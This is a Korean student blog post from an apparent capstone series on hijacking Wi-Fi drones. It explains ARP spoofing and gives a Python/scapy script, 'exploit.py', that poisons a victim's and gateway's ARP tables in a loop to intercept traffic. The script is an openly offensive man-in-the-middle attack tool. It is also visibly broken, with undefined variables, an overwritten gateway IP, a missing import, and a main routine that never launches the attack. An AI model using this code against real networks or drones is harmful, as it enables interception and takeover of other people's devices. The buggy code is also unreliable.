3. ARP Spoofing

Peroro·2023년 4월 14일

캡스톤

목록 보기
3/10

ARP 스푸핑이란 LAN(근거리 통신망)에서 ARP 메시지(주소 결정 프로토콜)을 이용해 데이터 패킷을 가로채는 중간자 공격 기법이다. 우리의 캡스톤 목표는 ARP Spoofing을 통해 WIFI를 사용하는 드론의 제어권을 탈취하는 시스템을 만드는 것이 목표이다.

pymavlink를 이용하기 위해 ARP Spoofing 역시 python으로 이용해야 했다. 그래서 그 중에 scapy라는 모듈이 있어 이를 이용하게 되었다. ConnectDrone() 함수의 경우 netsh를 사용해 드론을 탐색하고 접속하게 될 것 같고, sniffIP의 경우 접속한 드론의 IP와 controller의 IP를 탐색해 ARPspoofing 함수에 쓰이게 된다.

우선 ARP Spoofing를 이용한 공격을 중간 발표 (4월 24일)까지 진행하고, 기말 발표까지 드론을 탐색, IP를 자동으로 탐색하고, ARP Spoofing을 진행한 이후 pymavlink를 이용한 드론 조종까지 해볼 예정이다.

//exploit.py
from scapy.all import *
from scapy.layers.l2 import Ether, ARP
import os
import time


def connectDrone():#WIFI connect
    print('Select a drone!')

def sniffIP():#Get drone's IP and controller's IP!
    gatewayIP = ''
    victimIP = ''
    return gatewayIP, victimIP

#About ARPSpoofing!

def getMAC(ip):
    ans, uans = srp(Ether(dst='ff-ff-ff-ff-ff-ff')/ARP(pdst=ip), timeout = 5, retry = 10)
    for s, r in ans:
        return r.sprintf('%Ether.src%')

def poisonARP(scrip, targetip, targetmac):
    arp = ARP(op=2, psrc=scrip, pdst=targetip, hwdst=targetmac)
    send(arp)

def restoreARP(victimip, gatewayip, victimmac, gatewaymac):
    arp1 = ARP(op = 2, pdst=victimip, hwdst = 'ff-ff-ff-ff-ff-ff', hwsrc=gatewaymac)
    arp2 = ARP(op = 2, pdst=gatewayip, hwdst = 'ff-ff-ff-ff-ff-ff', hwsrc=victimmac)
    send(arp1, count=3)
    send(arp2, count=3)

def ARPSpoof(gatewayip, victimip):

    gatewayip = getMAC(gatewayip)
    victimmac = getMAC(victimip)

    if (victimmac == None) or (gatewaymac == None):
        print("Can't find MAC address!")
        return
    try:
        while True:
            poisonARP(gatewayip, victimip, victimmac)
            poisonARP(victimip, gatewayip, gatewaymac)
            sleep(3)
    except KeyboardInterrupt:
        restoreARP(victim, gatewayip, victimmac, gatewaymac)
        print('ARP Spoofing finish... Restored ARP table....')

#About main

if __name__ == '__main__':
    print('1. Testmode')
    print('2. Completemode')
    mode = int(input('Select your mode!'))
    gateway = ''
    victim = ''
    if(mode == 1):
        gateway = str(input('Input a gateway IP address!'))
        victim = str(input('Input a victim IP address to attack!'))
    elif(mode == 2):
        connectDrone()
        gateway, victim = sniffIP()
profile
오늘 공부한 것을 올리는 공간 / 일주일에 글 3개 / 블로그 이전 : https://perorochan321.tistory.com/

0개의 댓글